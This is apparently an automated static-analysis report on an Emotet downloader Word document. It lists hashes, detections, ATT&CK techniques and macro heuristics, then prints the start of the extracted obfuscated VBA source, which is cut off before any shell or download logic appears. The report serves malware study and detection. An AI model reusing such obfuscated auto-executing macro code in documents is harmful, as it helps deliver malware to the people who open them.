Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4cfd3f25f178f5ae…

MALICIOUS

Office (OLE)

75.5 KB Created: 2017-09-20 17:10:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 266099a3bfec591e49a0472061358369 SHA-1: 3e340a7d596a9325f3c93cae92a2c071db54052b SHA-256: 4cfd3f25f178f5ae5dd5c5438a4bc3cd0af2ca712a5a59388612697d4b4424d4
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6344335-3', indicating a known downloader variant of the Emotet family. Critical heuristics indicate the presence of VBA macros with a Shell() call and an AutoOpen macro, which are commonly used to execute malicious code. The VBA script itself is heavily obfuscated but the presence of these indicators strongly suggests it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10532 bytes
SHA-256: 83f960ed16f5fd1889a74439f8fa1347138983553684733ca87115a2419d84a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Public Function bRyrabwRr() As Integer
CfBstYgSC = 5035
adnZPNMbGHW = WbYgdLdvp
SxvkxNZL = Asc(adnZPNMbGHW)
If CfBstYgSC > SxvkxNZL Then
    For wRWPArr = 3249 To 9073
       SDhEBLZCZDy = SxvkxNZL + wRWPArr
    Next wRWPArr
SDhEBLZCZDy = SDhEBLZCZDy + CfBstYgSC
gNhfxwTfEd = CStr(SDhEBLZCZDy)
akEVAHaf = Mid(gNhfxwTfEd, 2118, 3749)
zUKtmpNwA = zUKtmpNwA & "7629"
bRyrabwRr = CInt(Mid(zUKtmpNwA, 1458, 6451))
Else
bRyrabwRr = 2809 + 4504 + 7686 + 9513 / 6685 / 1886 / 8752 - 9126 - 3330 - 4107 + 4765 + 4889
MsgBox ("mHywzgC")
 MsgBox ("puGSPwbwB")
 MsgBox ("gFuHDmG")
 MsgBox ("UHEFFwpCMD")
 MsgBox ("ZXdHFwEDy")
 MsgBox ("DfHtcYX")
 MsgBox ("BuwmTXdHm")
 MsgBox ("YMTFWnRdX")
 MsgBox ("KkMxLfUAeUy")

End Function
 
Public Function zfNFRnky() As Integer
rYUtfbGsnN = 765
RnNaRXfkTaN = wxrEnbwaut
phnHsAzG = Asc(RnNaRXfkTaN)
If rYUtfbGsnN > phnHsAzG Then
    For amHpANhdep = 3035 To 6677
       HNpWuVN = phnHsAzG + amHpANhdep
    Next amHpANhdep
HNpWuVN = HNpWuVN + rYUtfbGsnN
hcCgFMwU = CStr(HNpWuVN)
EkHnfRBgtu = Mid(hcCgFMwU, 1081, 6644)
ZRWrCmG = ZRWrCmG & "2977"
zfNFRnky = CInt(Mid(ZRWrCmG, 914, 6412))
Else
zfNFRnky = 7818 + 7861 + 8708 + 9254 / 3767 / 949 / 8663 - 6059 - 6920 - 3410 + 4008 + 8449 + 4982
MsgBox ("tbCWcAvAM")
 MsgBox ("vPefArKCm")
 MsgBox ("cgKUxHw")
 MsgBox ("aDfLNvM")
 MsgBox ("wLNyYCgxxgG")

End Function
 
Public Function XXSdLbhg() As Integer
KnhDvHRvtrk = 4898
NrAUmNxx = HnyFDaAbXdN
RKLKkueTDG = Asc(NrAUmNxx)
If KnhDvHRvtrk > RKLKkueTDG Then
    For wZhZWgeBUHA = 893 To 9372
       WHHpaFAk = RKLKkueTDG + wZhZWgeBUHA
    Next wZhZWgeBUHA
WHHpaFAk = WHHpaFAk + KnhDvHRvtrk
yvNtSaKpVuf = CStr(WHHpaFAk)
RBDenRFXz = Mid(yvNtSaKpVuf, 2477, 5329)
zMUvEtghtdZ = zMUvEtghtdZ & "352"
XXSdLbhg = CInt(Mid(zMUvEtghtdZ, 2376, 3444))
Else
XXSdLbhg = 7959 + 1425 + 2028 + 2565 / 5922 / 6786 / 782 - 9702 - 6898 + 2979 + 7468 + 1214
MsgBox ("FcxpRrzw")
 MsgBox ("XvGpUNs")
 MsgBox ("ErwCveXwvKE")
 MsgBox ("UUvgccC")
 MsgBox ("MyGxyUvcrB")
 MsgBox ("hYhZzZPbF")
 MsgBox ("vTadvGDv")
 MsgBox ("vhVFeTpuSm")

End Function
 
Public Function KvapgFPV() As Integer
GPvPTtxrT = 2325
xWyySwTW = XLeeXZax
BnLxAvuGse = Asc(xWyySwTW)
If GPvPTtxrT > BnLxAvuGse Then
    For EXdYKAdTFn = 3078 To 9999
       EnSBcMMyx = BnLxAvuGse + EXdYKAdTFn
    Next EXdYKAdTFn
EnSBcMMyx = EnSBcMMyx + GPvPTtxrT
kVbzeHPtN = CStr(EnSBcMMyx)
NzKpHmGTgvG = Mid(kVbzeHPtN, 2653, 8241)
MvZckPNfyv = MvZckPNfyv & "1286"
KvapgFPV = CInt(Mid(MvZckPNfyv, 3215, 3719))
Else
KvapgFPV = 8096 + 525 + 497 / 4152 / 9081 - 8159 - 2741 - 8886 + 8472 + 1256
MsgBox ("MDMgvFpgdX")
 MsgBox ("tkGSFkY")
 MsgBox ("xNftBNAgDx")

End Function
 
Public Function uGnDhKeRgG() As Integer
XPWxdewCMKX = 7409
mffyegYE = TWAUspm
znVRMctz = Asc(mffyegYE)
If XPWxdewCMKX > znVRMctz Then
    For rbdYTkxWxf = 576 To 8534
       ZWytmHFxy = znVRMctz + rbdYTkxWxf
    Next rbdYTkxWxf
ZWytmHFxy = ZWytmHFxy + XPWxdewCMKX
aEapvLk = CStr(ZWytmHFxy)
BaVhfzMwb = Mid(aEapvLk, 3336, 4796)
ufpYPMP = ufpYPMP & "3446"
uGnDhKeRgG = CInt(Mid(ufpYPMP, 2323, 8270))
Else
uGnDhKeRgG = 2232 + 2104 + 6812 + 9382 / 9214 / 7983 - 276 - 7549 - 1583 + 9814 + 1714
MsgBox ("atnFyKNnR")
 MsgBox ("gfcPmVxTnGZ")
 MsgBox ("hHgFHzBsWAk")
 MsgBox ("bDFYbcHrRuB")
 MsgBox ("RSmTpugKK")
 MsgBox ("srgmRwXzRHb")

End Function
 
Public Function LFSuyCDc() As Integer
gbCanPzgzk = 9251
BUaXPeH = EFtcBfSa
hTyaXfcS = Asc(BUaXPeH)
If gbCanPzgzk > hTyaXfcS Then
    For resGsVmGKr = 702 To 8717
       bfNZYbgTp = hTyaXfcS + resGsVmGKr
    Next resGsVmGKr
bfNZYbgTp = bfNZYbgTp + gbCanPzgzk
WkcZbDRX = CStr(bfNZYbgTp)
yBHRrYsbNPb = Mid(WkcZbDRX, 3149, 9016)
myRzWZvHGV = myRzWZvHGV & "3974"
LFSuyCDc = CInt(Mid(
... (truncated)